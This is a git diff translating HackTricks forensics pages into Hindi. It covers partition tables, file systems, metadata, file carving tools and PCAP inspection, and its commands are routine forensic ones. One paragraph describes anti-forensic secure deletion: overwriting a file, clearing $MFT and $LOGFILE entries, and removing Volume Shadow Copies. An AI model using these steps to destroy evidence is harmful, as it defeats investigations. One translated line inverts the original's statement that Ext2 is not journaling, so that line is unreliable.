+| 462 (0x1CE) | 16 (0x10) | दूसरा विभाजन | +| 478 (0x1DE) | 16 (0x10) | तीसरा विभाजन | +| 494 (0x1EE) | 16 (0x10) | चौथा विभाजन | +| 510 (0x1FE) | 2 (0x2) | सिग्नेचर 0x55 0xAA | -**Partition Record Format** +**विभाजन रिकॉर्ड फॉर्मेट** -| Offset | Length | Item | +| ऑफसेट | लंबाई | आइटम | | --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| 0 (0x00) | 1 (0x01) | सक्रिय ध्वज (0x80 = बूट करने योग्य) | +| 1 (0x01) | 1 (0x01) | प्रारंभिक सिर | +| 2 (0x02) | 1 (0x01) | प्रारंभिक क्षेत्र (बिट 0-5); सिलेंडर के ऊपरी बिट (6- 7) | +| 3 (0x03) | 1 (0x01) | प्रारंभिक सिलेंडर के सबसे कम 8 बिट | +| 4 (0x04) | 1 (0x01) | विभाजन प्रकार कोड (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | अंतिम सिर | +| 6 (0x06) | 1 (0x01) | अंतिम क्षेत्र (बिट 0-5); सिलेंडर के ऊपरी बिट (6- 7) | +| 7 (0x07) | 1 (0x01) | अंतिम सिलेंडर के सबसे कम 8 बिट | +| 8 (0x08) | 4 (0x04) | विभाजन से पहले के क्षेत्र (लिटिल एंडियन) | +| 12 (0x0C) | 4 (0x04) | विभाजन में क्षेत्र | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +Linux में MBR को माउंट करने के लिए आपको पहले प्रारंभिक ऑफसेट प्राप्त करने की आवश्यकता है (आप `fdisk` और `p` कमांड का उपयोग कर सकते हैं) ![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -And then use the following code - +और फिर निम्नलिखित कोड का उपयोग करें ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` - **LBA (Logical block addressing)** -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +**Logical block addressing** (**LBA**) एक सामान्य योजना है जो **कंप्यूटर स्टोरेज डिवाइसों** पर संग्रहीत डेटा के ब्लॉकों के स्थान को निर्दिष्ट करने के लिए उपयोग की जाती है, आमतौर पर हार्ड डिस्क ड्राइव जैसे द्वितीयक स्टोरेज सिस्टम। LBA एक विशेष रूप से सरल रैखिक एड्रेसिंग योजना है; **ब्लॉक एक पूर्णांक अनुक्रमांक द्वारा स्थित होते हैं**, पहले ब्लॉक को LBA 0, दूसरे को LBA 1, और इसी तरह। ### GPT (GUID Partition Table) -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +GUID Partition Table, जिसे GPT के नाम से जाना जाता है, MBR (Master Boot Record) की तुलना में इसकी उन्नत क्षमताओं के लिए पसंद किया जाता है। विभाजन के लिए **वैश्विक अद्वितीय पहचानकर्ता** के लिए विशिष्ट, GPT कई तरीकों से अलग है: -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +- **स्थान और आकार**: GPT और MBR दोनों **सेक्टर 0** से शुरू होते हैं। हालाँकि, GPT **64बिट** पर कार्य करता है, जबकि MBR का 32बिट है। +- **विभाजन सीमाएँ**: GPT Windows सिस्टम पर **128 विभाजनों** तक का समर्थन करता है और **9.4ZB** डेटा को समायोजित करता है। +- **विभाजन नाम**: विभाजनों को 36 Unicode वर्णों तक नाम देने की क्षमता प्रदान करता है। -**Data Resilience and Recovery**: +**डेटा स्थिरता और पुनर्प्राप्ति**: -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +- **अतिरिक्तता**: MBR के विपरीत, GPT विभाजन और बूट डेटा को एक ही स्थान पर सीमित नहीं करता है। यह डेटा को डिस्क पर पुनरावृत्त करता है, डेटा की अखंडता और स्थिरता को बढ़ाता है। +- **साइक्लिक रेडंडेंसी चेक (CRC)**: GPT डेटा की अखंडता सुनिश्चित करने के लिए CRC का उपयोग करता है। यह डेटा भ्रष्टाचार की सक्रिय रूप से निगरानी करता है, और जब पता चलता है, तो GPT दूसरे डिस्क स्थान से भ्रष्ट डेटा को पुनर्प्राप्त करने का प्रयास करता है। -**Protective MBR (LBA0)**: +**सुरक्षात्मक MBR (LBA0)**: -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPT एक सुरक्षात्मक MBR के माध्यम से पीछे की संगतता बनाए रखता है। यह सुविधा विरासत MBR स्थान में स्थित है लेकिन इसे पुराने MBR-आधारित उपयोगिताओं को गलती से GPT डिस्क को अधिलेखित करने से रोकने के लिए डिज़ाइन किया गया है, इस प्रकार GPT-फॉर्मेटेड डिस्क पर डेटा की अखंडता की रक्षा करता है। ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>) -**Hybrid MBR (LBA 0 + GPT)** +**हाइब्रिड MBR (LBA 0 + GPT)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +उन ऑपरेटिंग सिस्टम में जो **BIOS** सेवाओं के माध्यम से **GPT-आधारित बूट** का समर्थन करते हैं, पहले सेक्टर का उपयोग **बूटलोडर** कोड के पहले चरण को संग्रहीत करने के लिए भी किया जा सकता है, लेकिन **संशोधित** किया गया है ताकि **GPT** **विभाजनों** को पहचान सके। MBR में बूटलोडर को 512 बाइट्स के सेक्टर आकार का अनुमान नहीं लगाना चाहिए। -**Partition table header (LBA 1)** +**विभाजन तालिका शीर्षक (LBA 1)** [From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +विभाजन तालिका शीर्षक डिस्क पर उपयोगी ब्लॉकों को परिभाषित करता है। यह विभाजन तालिका (तालिका में ऑफसेट 80 और 84) का निर्माण करने वाले विभाजन प्रविष्टियों की संख्या और आकार को भी परिभाषित करता है। | Offset | Length | Contents | | --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -113,7 +111,7 @@ The partition table header defines the usable blocks on the disk. It also define | 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | | 92 (0x5C) | \* | Reserved; must be zeroes for the rest of the block (420 bytes for a sector size of 512 bytes; but can be more with larger sector sizes) | -**Partition entries (LBA 2–33)** +**विभाजन प्रविष्टियाँ (LBA 2–33)** | GUID partition entry format | | | | --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | @@ -125,23 +123,23 @@ The partition table header defines the usable blocks on the disk. It also define | 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | | 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | -**Partitions Types** +**विभाजन प्रकार** ![](<../../../images/image (83).png>) More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -### Inspecting +### निरीक्षण -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) के साथ फॉरेंसिक इमेज को माउंट करने के बाद, आप Windows टूल [**Active Disk Editor**](https://www.disk-editor.org/index.html)** का उपयोग करके पहले सेक्टर का निरीक्षण कर सकते हैं।** निम्नलिखित छवि में **सेक्टर 0** पर एक **MBR** का पता लगाया गया और व्याख्या की गई: ![](<../../../images/image (354).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +यदि यह **MBR के बजाय एक GPT तालिका** होती, तो इसे **सेक्टर 1** में _EFI PART_ का हस्ताक्षर दिखाई देना चाहिए (जो पिछले छवि में खाली है)। -## File-Systems +## फ़ाइल-प्रणालियाँ -### Windows file-systems list +### Windows फ़ाइल-प्रणालियों की सूची - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,81 +149,81 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +**FAT (File Allocation Table)** फ़ाइल प्रणाली अपने मुख्य घटक, फ़ाइल आवंटन तालिका के चारों ओर डिज़ाइन की गई है, जो वॉल्यूम की शुरुआत में स्थित है। यह प्रणाली डेटा की सुरक्षा करती है **दो प्रतियों** को बनाए रखकर, यह सुनिश्चित करती है कि यदि एक भ्रष्ट हो जाए तो भी डेटा की अखंडता बनी रहे। तालिका, साथ ही रूट फ़ोल्डर, एक **स्थिर स्थान** में होनी चाहिए, जो प्रणाली के स्टार्टअप प्रक्रिया के लिए महत्वपूर्ण है। -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +फ़ाइल प्रणाली की मूल भंडारण इकाई एक **क्लस्टर, आमतौर पर 512B** है, जिसमें कई सेक्टर शामिल होते हैं। FAT ने संस्करणों के माध्यम से विकास किया है: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**, 12-बिट क्लस्टर पते का समर्थन करता है और 4078 क्लस्टर (4084 UNIX के साथ) को संभालता है। +- **FAT16**, 16-बिट पते में सुधार करता है, जिससे 65,517 क्लस्टर तक का समर्थन होता है। +- **FAT32**, 32-बिट पते के साथ आगे बढ़ता है, जिससे प्रति वॉल्यूम 268,435,456 क्लस्टर की प्रभावशाली संख्या की अनुमति मिलती है। -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +FAT संस्करणों में एक महत्वपूर्ण सीमा **4GB अधिकतम फ़ाइल आकार** है, जो फ़ाइल आकार भंडारण के लिए उपयोग किए गए 32-बिट क्षेत्र द्वारा निर्धारित है। -Key components of the root directory, particularly for FAT12 and FAT16, include: +FAT12 और FAT16 के लिए रूट निर्देशिका के प्रमुख घटक हैं: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **फ़ाइल/फ़ोल्डर नाम** (8 वर्णों तक) +- **गुण** +- **निर्माण, संशोधन, और अंतिम पहुँच तिथियाँ** +- **FAT तालिका पता** (फ़ाइल के प्रारंभ क्लस्टर को इंगित करता है) +- **फ़ाइल आकार** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2** सबसे सामान्य फ़ाइल प्रणाली है जो **जर्नलिंग** विभाजनों (**विभाजन जो ज्यादा नहीं बदलते**) के लिए है जैसे बूट विभाजन। **Ext3/4** **जर्नलिंग** हैं और आमतौर पर **बाकी विभाजनों** के लिए उपयोग की जाती हैं। -## **Metadata** +## **मेटाडेटा** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +कुछ फ़ाइलों में मेटाडेटा होता है। यह जानकारी फ़ाइल की सामग्री के बारे में होती है जो कभी-कभी विश्लेषक के लिए दिलचस्प हो सकती है क्योंकि फ़ाइल के प्रकार के आधार पर, इसमें जानकारी हो सकती है जैसे: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- शीर्षक +- MS Office संस्करण का उपयोग किया गया +- लेखक +- निर्माण और अंतिम संशोधन की तिथियाँ +- कैमरे का मॉडल +- GPS निर्देशांक +- छवि जानकारी -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +आप फ़ाइल के मेटाडेटा प्राप्त करने के लिए [**exiftool**](https://exiftool.org) और [**Metadiver**](https://www.easymetadata.com/metadiver-2/) जैसे उपकरणों का उपयोग कर सकते हैं। -## **Deleted Files Recovery** +## **हटाई गई फ़ाइलों की पुनर्प्राप्ति** -### Logged Deleted Files +### लॉग की गई हटाई गई फ़ाइलें -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +जैसा कि पहले देखा गया है, कई स्थान हैं जहाँ फ़ाइल "हटाई गई" होने के बाद भी अभी भी सहेजी गई है। इसका कारण यह है कि आमतौर पर फ़ाइल सिस्टम से फ़ाइल को हटाने से इसे केवल हटाए गए के रूप में चिह्नित किया जाता है लेकिन डेटा को छुआ नहीं जाता। फिर, फ़ाइलों के रजिस्ट्रियों (जैसे MFT) का निरीक्षण करना और हटाई गई फ़ाइलों को खोजना संभव है। -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +इसके अलावा, OS आमतौर पर फ़ाइल सिस्टम परिवर्तनों और बैकअप के बारे में बहुत सारी जानकारी सहेजता है, इसलिए फ़ाइल को पुनर्प्राप्त करने या यथासंभव अधिक जानकारी प्राप्त करने के लिए उनका उपयोग करने का प्रयास करना संभव है। {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### **File Carving** +### **फ़ाइल कार्विंग** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**फ़ाइल कार्विंग** एक तकनीक है जो **डेटा के बड़े हिस्से में फ़ाइलों को खोजने की कोशिश करती है**। इस तरह के उपकरणों के काम करने के 3 मुख्य तरीके हैं: **फ़ाइल प्रकार के शीर्षकों और फुटर्स के आधार पर**, फ़ाइल प्रकार की **संरचनाओं** के आधार पर और **सामग्री** के आधार पर। -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +ध्यान दें कि यह तकनीक **खंडित फ़ाइलों को पुनर्प्राप्त करने के लिए काम नहीं करती**। यदि एक फ़ाइल **सन्निहित सेक्टरों में संग्रहीत नहीं है**, तो यह तकनीक इसे या कम से कम इसके एक भाग को खोजने में असमर्थ होगी। -There are several tools that you can use for file Carving indicating the file types you want to search for +आप फ़ाइल कार्विंग के लिए कई उपकरणों का उपयोग कर सकते हैं जो आप जिन फ़ाइल प्रकारों को खोजने के लिए संकेत देते हैं। {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Data Stream **C**arving +### डेटा स्ट्रीम **C**arving -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +डेटा स्ट्रीम कार्विंग फ़ाइल कार्विंग के समान है लेकिन **पूर्ण फ़ाइलों की तलाश करने के बजाय, यह जानकारी के दिलचस्प टुकड़ों की तलाश करता है**।\ +उदाहरण के लिए, लॉग की गई URL को शामिल करने वाली एक पूर्ण फ़ाइल की तलाश करने के बजाय, यह तकनीक URL की खोज करेगी। {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### सुरक्षित हटाना -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +स्पष्ट रूप से, फ़ाइलों और उनके बारे में लॉग के एक भाग को **"सुरक्षित" हटाने** के तरीके हैं। उदाहरण के लिए, एक फ़ाइल की सामग्री को कई बार बेकार डेटा के साथ **ओवरराइट** करना संभव है, और फिर फ़ाइल के बारे में **$MFT** और **$LOGFILE** से **लॉग** को **हटाना**, और **वॉल्यूम शैडो कॉपीज़** को **हटाना**।\ +आप देख सकते हैं कि इस क्रिया को करने पर भी फ़ाइल के अस्तित्व को लॉग करने के लिए **अन्य भाग हो सकते हैं**, और यह सच है और फॉरेंसिक पेशेवर का काम उन्हें खोजना है। -## References +## संदर्भ - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 1920c497a..22b17031f 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,95 +1,87 @@ -# File/Data Carving & Recovery Tools +# फ़ाइल/डेटा कार्विंग और रिकवरी उपकरण {{#include ../../../banners/hacktricks-training.md}} -## Carving & Recovery tools +## कार्विंग और रिकवरी उपकरण -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +अधिक उपकरण [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) पर -### Autopsy +### ऑटोप्सी -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +फोरेंसिक्स में छवियों से फ़ाइलें निकालने के लिए सबसे सामान्य उपकरण [**ऑटोप्सी**](https://www.autopsy.com/download/) है। इसे डाउनलोड करें, इंस्टॉल करें और "छिपी" फ़ाइलें खोजने के लिए फ़ाइल को इनजेस्ट करें। ध्यान दें कि ऑटोप्सी डिस्क इमेज और अन्य प्रकार की इमेज का समर्थन करने के लिए बनाई गई है, लेकिन साधारण फ़ाइलों के लिए नहीं। -### Binwalk +### बिनवॉक -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**बिनवॉक** एक उपकरण है जो बाइनरी फ़ाइलों का विश्लेषण करने के लिए अंतर्निहित सामग्री खोजने के लिए है। इसे `apt` के माध्यम से इंस्टॉल किया जा सकता है और इसका स्रोत [GitHub](https://github.com/ReFirmLabs/binwalk) पर है। +**उपयोगी कमांड**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +एक और सामान्य उपकरण जो छिपी हुई फ़ाइलों को खोजने के लिए है वह है **foremost**। आप foremost की कॉन्फ़िगरेशन फ़ाइल `/etc/foremost.conf` में पा सकते हैं। यदि आप केवल कुछ विशिष्ट फ़ाइलों के लिए खोज करना चाहते हैं, तो उन्हें अनकमेंट करें। यदि आप कुछ भी अनकमेंट नहीं करते हैं, तो foremost अपनी डिफ़ॉल्ट कॉन्फ़िगर की गई फ़ाइल प्रकारों के लिए खोज करेगा। ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ### **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel** एक और उपकरण है जिसका उपयोग **फाइल में एम्बेडेड फाइलों** को खोजने और निकालने के लिए किया जा सकता है। इस मामले में, आपको कॉन्फ़िगरेशन फ़ाइल (_/etc/scalpel/scalpel.conf_) से उन फ़ाइल प्रकारों को अनकमेंट करना होगा जिन्हें आप निकालना चाहते हैं। ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +यह उपकरण काली के अंदर आता है लेकिन आप इसे यहाँ पा सकते हैं: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +यह उपकरण एक इमेज को स्कैन कर सकता है और इसके अंदर **pcaps** को **निकालेगा**, **नेटवर्क जानकारी (URLs, domains, IPs, MACs, mails)** और अधिक **फाइलें**। आपको केवल यह करना है: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +**सभी जानकारी** के माध्यम से नेविगेट करें जो उपकरण ने एकत्र की है (पासवर्ड?), **विश्लेषण** करें **पैकेट्स** का (पढ़ें[ **Pcaps विश्लेषण**](../pcap-inspection/)), **अजीब डोमेन** की खोज करें (डोमेन जो **मैलवेयर** या **गैर-मौजूद** से संबंधित हैं)। ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +आप इसे [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) पर पा सकते हैं। -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +यह GUI और CLI संस्करणों के साथ आता है। आप उन **फाइल-प्रकारों** का चयन कर सकते हैं जिन्हें आप PhotoRec से खोजने के लिए चाहते हैं। ![](<../../../images/image (242).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +[कोड](https://code.google.com/archive/p/binvis/) और [वेब पेज उपकरण](https://binvis.io/#/) की जांच करें। -#### Features of BinVis +#### BinVis की विशेषताएँ -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- दृश्य और सक्रिय **संरचना दर्शक** +- विभिन्न फोकस बिंदुओं के लिए कई प्लॉट +- एक नमूने के हिस्सों पर ध्यान केंद्रित करना +- **स्ट्रिंग्स और संसाधनों** को देखना, PE या ELF निष्पादन योग्य में जैसे +- फ़ाइलों पर क्रिप्टानालिसिस के लिए **पैटर्न** प्राप्त करना +- पैकर या एन्कोडर एल्गोरिदम का **पता लगाना** +- पैटर्न द्वारा स्टेगनोग्राफी की **पहचान करना** +- **दृश्य** बाइनरी-डिफ़िंग -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVis एक अज्ञात लक्ष्य के साथ परिचित होने के लिए एक महान **शुरुआत बिंदु** है एक ब्लैक-बॉक्सिंग परिदृश्य में। -## Specific Data Carving Tools +## विशिष्ट डेटा कार्विंग उपकरण ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +AES कुंजियों की खोज उनके कुंजी कार्यक्रमों की खोज करके करता है। 128, 192, और 256 बिट कुंजियों को खोजने में सक्षम, जैसे कि TrueCrypt और BitLocker द्वारा उपयोग की जाने वाली। -Download [here](https://sourceforge.net/projects/findaes/). +[यहाँ डाउनलोड करें](https://sourceforge.net/projects/findaes/)। -## Complementary tools +## पूरक उपकरण -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +आप टर्मिनल से छवियों को देखने के लिए [**viu** ](https://github.com/atanunq/viu) का उपयोग कर सकते हैं।\ +आप एक pdf को टेक्स्ट में बदलने और पढ़ने के लिए लिनक्स कमांड लाइन उपकरण **pdftotext** का उपयोग कर सकते हैं। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md index c16bee711..e33773bc4 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md @@ -2,32 +2,26 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> **PCAP** और **PCAPNG** के बारे में एक नोट: PCAP फ़ाइल प्रारूप के दो संस्करण हैं; **PCAPNG नया है और सभी उपकरणों द्वारा समर्थित नहीं है**। आपको कुछ अन्य उपकरणों में इसके साथ काम करने के लिए Wireshark या किसी अन्य संगत उपकरण का उपयोग करके PCAPNG से PCAP में फ़ाइल को परिवर्तित करने की आवश्यकता हो सकती है। ## Online tools for pcaps -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -- **Full pcap analysis from the browser in** [**https://apackets.com/**](https://apackets.com/) +- यदि आपके pcap का हेडर **टूट गया** है, तो आपको इसे **सुधारने** का प्रयास करना चाहिए: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- एक pcap के अंदर **सूचना** निकालें और **malware** के लिए खोजें [**PacketTotal**](https://packettotal.com) +- [**www.virustotal.com**](https://www.virustotal.com) और [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) का उपयोग करके **malicious activity** के लिए खोजें +- **ब्राउज़र से पूर्ण pcap विश्लेषण** [**https://apackets.com/**](https://apackets.com/) ## Extract Information -The following tools are useful to extract statistics, files, etc. +निम्नलिखित उपकरण आँकड़े, फ़ाइलें आदि निकालने के लिए उपयोगी हैं। ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **यदि आप एक PCAP का विश्लेषण करने जा रहे हैं, तो आपको मूल रूप से Wireshark का उपयोग करना आना चाहिए** -You can find some Wireshark tricks in: +आप कुछ Wireshark ट्रिक्स यहाँ पा सकते हैं: {{#ref}} wireshark-tricks.md @@ -35,68 +29,60 @@ wireshark-tricks.md ### [**https://apackets.com/**](https://apackets.com/) -Pcap analysis from the browser. +ब्राउज़र से Pcap विश्लेषण। ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. +[**Xplico** ](https://github.com/xplico/xplico)_(केवल लिनक्स)_ एक **pcap** का **विश्लेषण** कर सकता है और इससे जानकारी निकाल सकता है। उदाहरण के लिए, एक pcap फ़ाइल से Xplico, प्रत्येक ईमेल (POP, IMAP, और SMTP प्रोटोकॉल), सभी HTTP सामग्री, प्रत्येक VoIP कॉल (SIP), FTP, TFTP, आदि निकालता है। **Install** - ```bash sudo bash -c 'echo 